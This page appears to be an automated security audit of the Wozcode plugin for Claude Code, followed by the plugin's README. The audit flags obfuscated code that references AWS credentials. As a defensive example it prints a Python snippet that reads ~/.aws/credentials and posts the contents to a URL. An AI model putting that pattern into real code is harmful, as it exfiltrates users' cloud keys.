Wozcode Plugin — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited Wozcode Plugin (Plugin) and scored it 15/100 (red). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 2 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 2 flagged
This plugin references the AWS credentials file or the access-key fields stored inside it (const _0x656392=_0x51b6;const _0x96499d=_0x51b6;…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.
creds = open(os.path.expanduser("~/.aws/credentials")).read()
requests.post(url, data={"creds": creds})# let the SDK resolve credentials; never read or transmit the file yourself
import boto3
s3 = boto3.client("s3")Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
Smarter tools for Claude Code that reduce token usage and cost. Replaces built-in file tools with optimized alternatives — fewer tokens per tool call means cheaper sessions that compound over time.
From GitHub — inside a Claude Code session, run:
/plugin marketplace add WithWoz/wozcode-plugin
/plugin install woz@wozcode-marketplaceQuit your current session and start a new one:
claudeLook for `woz:code` on the right side of the text input field:
woz:code badge
That badge means the WOZCODE agent is active.
WOZCODE requires a Woz account. On first tool use you'll be prompted to log in, or do it explicitly:
/woz-loginOr type /woz to see all available WOZCODE commands.
This opens your browser to complete sign-in. Credentials are saved and refreshed automatically.
Headless / SSH? The terminal prints an auth URL. Open it manually, complete login, copy the token JSON from the success page, and paste it back:
/woz-login --token '{"access_token":"...","refresh_token":"..."}'Just use Claude Code normally — WOZCODE tools activate automatically. The plugin replaces built-in file tools with smarter versions behind the scenes.
| Agent | What it does |
|---|---|
woz:code | Main agent — coding, editing, search, SQL. Auto-delegates to the others when useful. |
woz:explore | Fast read-only codebase exploration (runs on haiku for speed) |
You don't need to switch agents manually. woz:code delegates to woz:explore as a subagent when it makes sense.
| Command | Description |
|---|---|
/woz-login | Log in to your Woz account |
/woz-logout | Clear credentials |
/woz-recall | Recall saved context and preferences |
/woz-savings | Show estimated savings report (roundtrips, time, tokens, cost) |
/woz-settings | Manage WOZCODE plugin settings (attribution, status line, spinner verbs) |
/woz-status | Check authentication status |
/woz-update | Update the WOZCODE plugin to the latest version |
/reload-plugins | Reload plugins to get latest updates |
You can also type /woz to see all available WozCode commands in one place.
WOZCODE settings live in ~/.claude/settings.json under the wozcode key. Use /woz-settings to view or change them — just ask in plain English ("turn off attribution", "hide status line tips", etc.).
| Key | Default | Description |
|---|---|---|
attribution | true | Co-Authored-By on commits + PR badge |
statusLine | true | Master toggle for the WOZCODE status line |
statusLineSession | true | Show session savings in status line |
statusLineLifetime | true | Show lifetime savings in status line |
statusLineTips | true | Show quick tips in status line |
spinnerVerbs | true | WOZ-themed spinner verbs |
When WOZCODE is enabled and you have no existing attribution entry in ~/.claude/settings.json, WOZCODE installs its own commit/PR co-author line, replacing Claude Code's built-in default. This replacement is announced on the login and session where it first happens. Users who had Claude Code attribution explicitly disabled or customized (any existing attribution entry in ~/.claude/settings.json) are left untouched. Toggle WOZCODE attribution any time with /woz-settings attribution off.
Changes take effect immediately. For attribution, statusLine, and spinnerVerbs, also run /reload-plugins so Claude Code picks up the change in the current session.
/plugin disable woz@wozcode-marketplace # temporarily disable
/plugin enable woz@wozcode-marketplace # re-enable
/plugin marketplace remove WithWoz/wozcode-plugin # removeTo get the latest version:
/woz-updateIf /woz-update fails, force a clean reinstall from your shell:
claude plugin marketplace update wozcode-marketplace
claude plugin uninstall woz@wozcode-marketplace
claude plugin install woz@wozcode-marketplace
rm -f "${CLAUDE_CONFIG_DIR:-$HOME/.claude}/wozcode/update-available.json" "$HOME/.wozcode/update-available.json"Note: After reinstalling, quit and restart Claude Code for changes to take effect.
To explicitly launch with the WOZCODE agent (not normally needed):
claude --agent woz:codeConnect WOZCODE to Conductor.
wozcode conductor(or ~/.local/bin/wozcode conductor if wozcode isn't on your PATH)
woz:code.The claude-woz executable is auto-refreshed on every WOZCODE session start, so plugin updates keep it pointing at the current version. Not every WOZCODE feature works through Conductor yet, but Search and Edit do — you'll still get most of the speed and cost savings.
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.